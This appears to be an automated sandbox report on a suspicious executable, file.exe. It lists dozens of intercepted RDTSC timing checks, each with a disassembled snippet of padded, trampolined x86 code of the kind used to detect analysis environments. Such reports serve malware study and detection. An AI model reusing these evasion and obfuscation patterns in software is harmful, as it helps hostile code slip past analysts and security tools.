Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EEC7 second address: 50EECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547CCE second address: 547CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E491 second address: 54E4AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7BB4E67DDAh 0x0000000c jc 00007F7BB4E67DD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51092C second address: 510931 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510931 second address: 51093C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB19 second address: 54DB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB1F second address: 54DB2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007F7BB4E67DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB2B second address: 54DB59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e ja 00007F7BB475B3F6h 0x00000014 jmp 00007F7BB475B401h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB59 second address: 54DB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB61 second address: 54DB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB67 second address: 54DB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB6D second address: 54DB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB475B401h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DCAD second address: 54DCBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F7BB4E67DD6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C6 second address: 54E0CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550FF8 second address: 550FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5513C4 second address: 5513CE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BB475B3F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551A74 second address: 551A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F7BB4E67DD8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 push eax 0x00000022 push eax 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551B0C second address: 551B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551B12 second address: 551B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551B16 second address: 551B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551C79 second address: 551C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551C7D second address: 551C81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552070 second address: 552085 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F7BB4E67DD6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552085 second address: 5520B5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BB475B3F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c mov esi, dword ptr [ebp+122D252Eh] 0x00000012 jmp 00007F7BB475B407h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B5 second address: 5520BF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55253C second address: 552540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552540 second address: 552577 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F7BB4E67DDFh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7BB4E67DE5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552EDA second address: 552EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552EDE second address: 552EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553FEE second address: 553FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553FF3 second address: 553FF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553FF8 second address: 553FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554ADE second address: 554AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55610C second address: 556114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B4E second address: 558B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555E75 second address: 555E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A5C3 second address: 55A624 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a add edi, 572EB07Eh 0x00000010 push 00000000h 0x00000012 sub ebx, dword ptr [ebp+122D29F1h] 0x00000018 mov dword ptr [ebp+124757A5h], ebx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F7BB4E67DD8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Dh 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a jl 00007F7BB4E67DDBh 0x00000040 mov edi, 0A4831EEh 0x00000045 and ebx, 1082FA9Ch 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e jnc 00007F7BB4E67DD8h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5568B8 second address: 5568BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B5C6 second address: 55B64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 jmp 00007F7BB4E67DE7h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F7BB4E67DD8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D3816h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F7BB4E67DD8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c stc 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 js 00007F7BB4E67DE3h 0x00000056 jmp 00007F7BB4E67DDDh 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557DE7 second address: 557DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557DEC second address: 557E10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F7BB4E67DE7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E865 second address: 55E869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A7DB second address: 55A7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B822 second address: 55B826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A7DF second address: 55A7E9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562767 second address: 562776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A7E9 second address: 55A7EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D9C0 second address: 55DA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F7BB475B3FFh 0x0000000c popad 0x0000000d nop 0x0000000e call 00007F7BB475B408h 0x00000013 mov dword ptr [ebp+122D2A42h], edi 0x00000019 pop edi 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007F7BB475B3F8h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b jns 00007F7BB475B3FCh 0x00000041 or edi, dword ptr [ebp+122D24DBh] 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e mov edi, dword ptr [ebp+122D34DBh] 0x00000054 mov eax, dword ptr [ebp+122D0721h] 0x0000005a jp 00007F7BB475B3FCh 0x00000060 push FFFFFFFFh 0x00000062 pushad 0x00000063 xor dword ptr [ebp+12483375h], esi 0x00000069 mov dword ptr [ebp+122D26BAh], esi 0x0000006f popad 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 push esi 0x00000074 pushad 0x00000075 popad 0x00000076 pop esi 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C897 second address: 55C925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sbb bh, FFFFFF82h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F7BB4E67DD8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D2ADAh], ebx 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b stc 0x0000003c mov eax, dword ptr [ebp+122D0481h] 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F7BB4E67DD8h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 0000001Bh 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c push FFFFFFFFh 0x0000005e mov bx, si 0x00000061 jmp 00007F7BB4E67DDAh 0x00000066 push eax 0x00000067 pushad 0x00000068 jbe 00007F7BB4E67DDCh 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DA6A second address: 55DA6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564855 second address: 56485A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56485A second address: 564895 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F7BB475B3FAh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F7BB475B403h 0x00000012 pushad 0x00000013 jmp 00007F7BB475B403h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564895 second address: 5648E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D1816h] 0x0000000d push 00000000h 0x0000000f adc edi, 4F97899Ah 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F7BB4E67DD8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr [ebp+1244DA9Ch], eax 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jno 00007F7BB4E67DD6h 0x00000041 jl 00007F7BB4E67DD6h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5648E0 second address: 5648EA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BB475B3FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567832 second address: 567857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F7BB4E67DE2h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567857 second address: 567878 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F7BB475B403h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b je 00007F7BB475B3FEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561995 second address: 56199B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56199B second address: 5619AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5619AA second address: 5619BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568E5E second address: 568E68 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BB475B3F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568E68 second address: 568E6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5619BB second address: 5619C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7BB475B3F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568EF3 second address: 568F01 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568F01 second address: 568F0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568F0E second address: 568F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A019 second address: 56A073 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 sbb ebx, 1D477FE1h 0x0000000f push 00000000h 0x00000011 mov ebx, 44C3A2E1h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F7BB475B3F8h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 and ebx, dword ptr [ebp+122D31A3h] 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F7BB475B405h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A073 second address: 56A093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F7BB4E67DD6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AFBD second address: 56AFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AFC1 second address: 56AFD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AFD3 second address: 56B047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F7BB475B3F8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 add dword ptr [ebp+122D2A42h], ebx 0x0000002b push 00000000h 0x0000002d mov edi, dword ptr [ebp+12457AE6h] 0x00000033 mov dword ptr [ebp+122D2987h], ebx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007F7BB475B3F8h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 00000018h 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 jmp 00007F7BB475B3FCh 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e jbe 00007F7BB475B3F6h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B047 second address: 56B055 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562A61 second address: 562A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57102B second address: 571046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7BB4E67DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F7BB4E67E06h 0x00000012 push esi 0x00000013 ja 00007F7BB4E67DD6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57526D second address: 57527B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F7BB475B3F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5753B9 second address: 5753C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564A46 second address: 564A6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F7BB475B401h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564A6E second address: 564A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7BB4E67DDDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5658A1 second address: 5658AB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BB475B3FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56597D second address: 565982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565982 second address: 565999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7BB475B402h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B1D4 second address: 57B1EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B1EF second address: 57B1FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB475B3FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B3BD second address: 57B3C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
